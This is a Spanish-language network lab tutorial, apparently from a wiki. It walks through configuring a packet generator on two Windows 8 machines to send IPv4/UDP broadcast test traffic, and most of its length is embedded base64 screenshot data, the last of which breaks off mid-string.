Tanto en la máquina Windows 8 de red izquierda y red derecha se da doble click sobre el espacio indicado en la imagen inferior. [img[sc1.PNG]] 2.- Se seleccionan los protocolos a utilizar. En este caso se seleccionan IPv4 y UDP. Se da click sobre lo indicado en la imagen inferior. Este paso es igual tanto en la máquina Windows 8 de red izquierda y red derecha. [img[sc2.PNG]] 3.-Se indica una MAC fuente y una MAC destino. Dentro de la sección vista de protocolo, en la subsección de Ethernet se da click sobre los botones indicados en la imagen inferior. Se esta utilizando MAC de broadcast y MAC de la máquina donde se esta generando el tráfico.Este paso es igual tanto en la máquina Windows 8 de red izquierda y red derecha. [img[sc3.PNG]] 4.- Se indica un IP fuente y una IP destino.Dentro de la sección vista de protocolo, en la subsección de IPv4 se da click sobre el botón indicado para indicar que la IP fuente será la máquina que se esta utilizando. Para indicar la IP destino se llena el text input indicado en la imagen inferior. Para la máquina Windows 8 en la red izquierda escribimos el IP `10.21.1.255` y para la de la derecha escribimos la IP `10.22.1.255`. [img[sc4.PNG]]
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
En esta sección se describe el proceso para generar tráfico
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